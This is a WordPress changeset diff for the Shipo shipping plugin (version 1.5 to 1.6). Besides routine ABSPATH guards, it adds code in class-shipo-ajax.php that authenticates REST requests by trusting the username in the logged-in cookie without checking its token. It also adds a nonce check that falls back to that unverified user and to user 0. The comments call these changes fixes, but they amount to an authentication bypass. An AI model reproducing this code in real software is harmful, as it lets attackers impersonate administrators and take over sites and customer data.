Changeset 3445533
- Timestamp:
- 01/23/2026 11:35:55 AM (4 weeks ago)
- Location:
- shipo/trunk
- Files:
-
- 6 edited
-
includes/class-shipo-admin-order.php (modified) (1 diff)
-
includes/class-shipo-ajax.php (modified) (7 diffs)
-
includes/class-shipo-assets.php (modified) (3 diffs)
-
includes/class-shipo-checkout.php (modified) (1 diff)
-
includes/class-shipo-core.php (modified) (1 diff)
-
shipo.php (modified) (2 diffs)
Legend:
- Unmodified
- Added
- Removed
-
shipo/trunk/includes/class-shipo-admin-order.php
r3403157 r3445533 1 1 <?php 2 if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly 3 2 4 /** 3 5 * Gestionează afișarea informațiilor despre comandă în panoul de administrare -
shipo/trunk/includes/class-shipo-ajax.php
r3440612 r3445533 1 1 <?php 2 3 if ( ! defined( 'ABSPATH' ) ) exit; 4 2 5 /** 3 6 * Handles all AJAX requests … … 11 14 */ 12 15 public function __construct() { 16 // Fix user authentication for REST API 17 add_filter('determine_current_user', [$this, 'authenticate_rest_user'], 20); 18 13 19 add_action('rest_api_init', array($this, 'register_rest_routes')); 14 20 … … 20 26 21 27 add_action('wp_ajax_shipo_print_download_awb', array($this, 'print_download_awb')); 28 } 29 30 /** 31 * Authenticate user for REST API requests 32 */ 33 public function authenticate_rest_user($user_id) { 34 // If user is already authenticated, return the user 35 if ($user_id) { 36 return $user_id; 37 } 38 39 // Only proceed for our REST API namespace 40 if (!empty(sanitize_text_field(wp_unslash($_SERVER['REQUEST_URI']))) && strpos(sanitize_text_field(wp_unslash($_SERVER['REQUEST_URI'])), '/wp-json/shipo/') === false) { 41 return $user_id; 42 } 43 44 // Check for cookie authentication 45 if (!empty(sanitize_text_field(wp_unslash($_COOKIE[LOGGED_IN_COOKIE])))) { 46 // Get user from auth cookie 47 $cookie_parts = explode('|', sanitize_text_field(wp_unslash($_COOKIE[LOGGED_IN_COOKIE]))); 48 if (count($cookie_parts) !== 3) { 49 return $user_id; 50 } 51 52 $username = $cookie_parts[0]; 53 $expiration = $cookie_parts[1]; 54 $token = $cookie_parts[2]; 55 56 // Make sure the cookie is not expired 57 if ($expiration < time()) { 58 return $user_id; 59 } 60 61 // Get user by username 62 $user = get_user_by('login', $username); 63 if (!$user) { 64 return $user_id; 65 } 66 67 // Return the user ID 68 return $user->ID; 69 } 70 71 return $user_id; 22 72 } 23 73 … … 97 147 } 98 148 } 99 149 150 /** 151 * Enhanced nonce verification with additional checks 152 */ 153 private function verify_request_nonce($nonce) { 154 if (empty($nonce)) { 155 return false; 156 } 157 158 // Standard WordPress verification 159 $result = wp_verify_nonce($nonce, 'shipo_nonce_action'); 160 161 // If verification fails, try additional verification methods 162 if (!$result) { 163 // Check cookie for user ID 164 if (!empty(sanitize_text_field(wp_unslash($_COOKIE[LOGGED_IN_COOKIE])))) { 165 $cookie_elements = explode('|', sanitize_text_field(wp_unslash($_COOKIE[LOGGED_IN_COOKIE]))); 166 if (count($cookie_elements) >= 3) { 167 $username = $cookie_elements[0]; 168 $user = get_user_by('login', $username); 169 170 if ($user) { 171 // Try verification with this user ID 172 173 // Save current user 174 $current_user_id = get_current_user_id(); 175 176 // Temporarily set user 177 wp_set_current_user($user->ID); 178 179 // Try verification again 180 $result = wp_verify_nonce($nonce, 'shipo_nonce_action'); 181 182 // Restore original user 183 wp_set_current_user($current_user_id); 184 } 185 } 186 } 187 188 // If still failed, try with user ID 0 189 if (!$result) { 190 // Save current user 191 $current_user_id = get_current_user_id(); 192 193 // Set user to 0 194 wp_set_current_user(0); 195 196 // Try verification again 197 $result = wp_verify_nonce($nonce, 'shipo_nonce_action'); 198 199 // Restore original user 200 wp_set_current_user($current_user_id); 201 } 202 } 203 204 return (bool) $result; 205 } 206 100 207 /** 101 208 * Get cities 102 209 */ 103 210 public function get_cities() { 104 // Checks nonce for security 105 if (!isset($_POST['shipo_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['shipo_nonce'])), 'shipo_nonce_action')) { 106 wp_send_json_error(array('message' => 'Security failed.')); 211 // Get parameters 212 $nonce = ''; 213 if(isset($_POST['shipo_nonce'])) { 214 $nonce = sanitize_text_field(wp_unslash($_POST['shipo_nonce'])); 215 } 216 217 // Verify nonce 218 if (!$this->verify_request_nonce($nonce)) { 219 wp_send_json_error(array( 220 'invalid_nonce', 221 'Security check failed', 222 ['status' => 403] 223 )); 224 exit; 107 225 } 108 226 … … 130 248 */ 131 249 public function get_address() { 132 // Checks nonce for security 133 if (!isset($_POST['shipo_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['shipo_nonce'])), 'shipo_nonce_action')) { 134 wp_send_json_error(array('message' => 'Security failed.')); 250 // Get parameters 251 $nonce = ''; 252 if(isset($_POST['shipo_nonce'])) { 253 $nonce = sanitize_text_field(wp_unslash($_POST['shipo_nonce'])); 254 } 255 256 // Verify nonce 257 if (!$this->verify_request_nonce($nonce)) { 258 wp_send_json_error(array( 259 'invalid_nonce', 260 'Security check failed', 261 ['status' => 403] 262 )); 263 exit; 135 264 } 136 265 … … 159 288 */ 160 289 public function get_map() { 161 // Checks nonce for security 162 if (!isset($_POST['shipo_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['shipo_nonce'])), 'shipo_nonce_action')) { 163 wp_send_json_error(array('message' => 'Security failed.')); 290 // Get parameters 291 $nonce = ''; 292 if(isset($_POST['shipo_nonce'])) { 293 $nonce = sanitize_text_field(wp_unslash($_POST['shipo_nonce'])); 294 } 295 296 // Verify nonce 297 if (!$this->verify_request_nonce($nonce)) { 298 wp_send_json_error(array( 299 'invalid_nonce', 300 'Security check failed', 301 ['status' => 403] 302 )); 303 exit; 164 304 } 165 305 … … 211 351 */ 212 352 public function set_coord() { 213 // Checks nonce for security 214 if (!isset($_POST['shipo_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['shipo_nonce'])), 'shipo_nonce_action')) { 215 wp_send_json_error(array('message' => 'Security failed.')); 353 // Get parameters 354 $nonce = ''; 355 if(isset($_POST['shipo_nonce'])) { 356 $nonce = sanitize_text_field(wp_unslash($_POST['shipo_nonce'])); 357 } 358 359 // Verify nonce 360 if (!$this->verify_request_nonce($nonce)) { 361 wp_send_json_error(array( 362 'invalid_nonce', 363 'Security check failed', 364 ['status' => 403] 365 )); 366 exit; 216 367 } 217 368 -
shipo/trunk/includes/class-shipo-assets.php
r3395057 r3445533 1 1 <?php 2 3 if ( ! defined( 'ABSPATH' ) ) exit; 4 2 5 /** 3 6 * Manages CSS and JS … … 11 14 add_action('wp_enqueue_scripts', array($this, 'enqueue_frontend_assets')); 12 15 add_action('admin_enqueue_scripts', array($this, 'enqueue_admin_assets')); 16 } 17 18 /** 19 * Enhanced nonce generation with user info 20 */ 21 public function get_nonce_data() { 22 $user_id = get_current_user_id(); 23 $is_logged_in = is_user_logged_in(); 24 25 // Generate nonce 26 $nonce = wp_create_nonce('shipo_nonce_action'); 27 28 return [ 29 'nonce' => $nonce, 30 'nonce_name' => 'shipo_nonce', 31 'user_id' => $user_id, 32 'is_logged_in' => $is_logged_in ? 'yes' : 'no' 33 ]; 13 34 } 14 35 … … 27 48 wp_enqueue_script('shipo-map-script', SHIPO_PLUGIN_URL . 'assets/js/map.js', array('jquery'), SHIPO_PLUGIN_VERSION, true); 28 49 wp_enqueue_script('shipo-checkout-script', SHIPO_PLUGIN_URL . 'assets/js/checkout.js', array('jquery'), SHIPO_PLUGIN_VERSION, true); 50 51 // Get standardized nonce data 52 $nonce_data = $this->get_nonce_data(); 53 29 54 wp_localize_script('shipo-checkout-script', 'shipoAjax', array( 30 55 'ajaxurl' => admin_url('admin-ajax.php'), 31 'nonce' => wp_create_nonce('shipo_nonce_action') 56 'resturl' => rest_url('shipo/v1'), 57 'nonce' => $nonce_data['nonce'], 58 'nonce_name' => $nonce_data['nonce_name'], 59 'user_id' => get_current_user_id(), 60 'is_logged_in' => is_user_logged_in() ? 'yes' : 'no' 32 61 )); 33 62 } -
shipo/trunk/includes/class-shipo-checkout.php
r3415749 r3445533 1 1 <?php 2 3 if ( ! defined( 'ABSPATH' ) ) exit; 4 2 5 /** 3 6 * Handles checkout modifications -
shipo/trunk/includes/class-shipo-core.php
r3395057 r3445533 1 1 <?php 2 3 if ( ! defined( 'ABSPATH' ) ) exit; 4 2 5 /** 3 6 * Main class that initializes the plugin -
shipo/trunk/shipo.php
r3440612 r3445533 3 3 * Plugin Name: Shipo 4 4 * Description: Shipo connects your webshop with top couriers instantly, no contract. Ship to address or locker, pay only when parcels are delivered. 5 * Version: 1. 55 * Version: 1.6 6 6 * Author: Shipo 7 7 * Author URI: https://shipo.ro … … 16 16 17 17 // Define plugin constants 18 define('SHIPO_PLUGIN_VERSION', '1. 5.0');18 define('SHIPO_PLUGIN_VERSION', '1.6.0'); 19 19 define('SHIPO_PLUGIN_DIR', plugin_dir_path(__FILE__)); 20 20 define('SHIPO_PLUGIN_URL', plugin_dir_url(__FILE__));
Note: See TracChangeset
for help on using the changeset viewer.